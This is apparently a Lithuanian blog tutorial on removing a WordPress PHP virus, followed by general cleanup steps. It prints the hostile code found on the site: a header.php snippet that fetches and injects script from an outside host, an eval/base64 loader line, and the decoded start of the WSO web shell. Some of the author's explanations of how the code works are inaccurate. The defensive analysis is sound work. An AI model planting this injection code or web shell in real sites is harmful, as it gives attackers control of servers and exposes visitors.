pašalinti WordPress PHP-Virus

Šioje pamokoje pateikiamas konkretus atvejis, kai tinklaraštis WordPress jis buvo užkrėstas. Pašalinimas WordPress PHP virusas.

Kitą dieną pastebėjau įtartiną kodą, kuris, atrodo, yra PHP virusas WordPress. Šis PHP kodas buvo header.php, prieš eilutę </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Tai yra tam tikras PHP kodas, kuris, atrodo, bando nuskaityti šaltinio turinį iš išorinio serverio, tačiau dalis, nurodanti URL, yra neužbaigta.

Darbo mechanizmas yra šiek tiek sudėtingesnis ir tai daro WordPress PHP virusas nematomas paveiktų svetainių lankytojams. Vietoj to, jis taikomas paieškos sistemoms (Google) ir netiesiogiai žymiai sumažina paveiktų svetainių lankytojų skaičių.

Išsami informacija apie kenkėjišką programą WordPress PHP-Virus

1. Aukščiau pateiktas kodas yra header.php.

2. Serveryje pasirodė failas wp-log.php aplanke wp-includes.

3. wp-log.php yra užšifruotas kodas, tačiau jį gana lengva iššifruoti.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Iššifruoti kenkėjiškos programos kodą iš wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Atrodo, kad tai yra kenkėjiškas PHP scenarijus, kuriame yra kodas, skirtas autentifikuoti ir atlikti veiksmus su failais ir katalogais serveryje. Labai lengvai galima pastebėti, kad šiame scenarijuje yra tokių kintamųjų kaip $auth_pass (autentifikavimo slaptažodis), $default_action (numatytasis veiksmas), $default_use_ajax (pagal nutylėjimą naudojant Ajax) ir $default_charset (numatytasis simbolių nustatymas).

Akivaizdu, kad šiame scenarijuje yra skyrius, kuris tikrina HTTP vartotojo agentus, kad blokuotų prieigą prie tam tikrų žiniatinklio robotų, pvz., paieškos sistemų. Jame taip pat yra skyrius, kuris tikrina PHP saugos režimą ir nustato tam tikrus darbinius katalogus.

4. Jei naršyklėje pasiekiamas wp-log.php, pasirodo tinklalapis su lauku prisijungti. Iš pirmo žvilgsnio atrodo, kad tai yra failų tvarkyklė, per kurią naujus failus galima lengvai įkelti į tikslinį serverį.

Kaip išnaikinti svetainę iš viruso WordPress?

Visada rankinis virusų šalinimo procesas pirmiausia apima pažeidžiamumo atradimą ir supratimą.

1. Sukurkite visos svetainės atsarginę kopiją. Tai turi apimti ir failus, ir duomenų bazę.

2. Apytiksliai nustatykite, kiek laiko buvo virusas, ir per apytikslį laikotarpį ieškokite žiniatinklio serveryje modifikuotų ar naujai sukurtų failų.

Pavyzdžiui, jei norite pamatyti failus .php sukurta arba modifikuota per paskutinę savaitę, paleiskite komandą serveryje:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Tai paprastas būdas atskleisti failus WordPress užkrėstų ir turinčių kenkėjiškų programų kodą.

3. Patikrinkite failą .htaccess įtartinų direktyvų. Leidimų eilutės arba scenarijaus vykdymas.

4. Patikrinkite duomenų bazę. Visai įmanoma, kad kai kurie įrašai ir puslapiai WordPress redaguoti naudojant kenkėjiškas programas arba pridėti naujų vartotojai, turintys vaidmenį administrator.

5. Patikrinkite aplankų ir failų rašymo teises. chmod Şi chown.

Rekomenduojami leidimai yra: 644 failams ir 755 katalogams.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Atnaujinkite viską WordPress Plugins / WordPress Themes.

Susiję: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Tai yra „pagrindiniai“ metodai, kuriais galite devirusuoti svetainę / tinklaraštį WordPress. Jei kyla problemų ir reikia pagalbos, atidarytas komentarų skyrius.

Technologijų entuziastas, nuo 2006 metų su malonumu rašau „StealthSettings.com“. Turiu išsamią patirtį su operacinėmis sistemomis: macOS, „Windows“ ir „Linux“, taip pat programavimo kalbomis ir blogo platformomis („WordPress“) bei internetinės parduotuvės platformomis („WooCommerce“, „Magento“, „PrestaShop“).

kaip » WordPress » pašalinti WordPress PHP-Virus
Palikite komentarą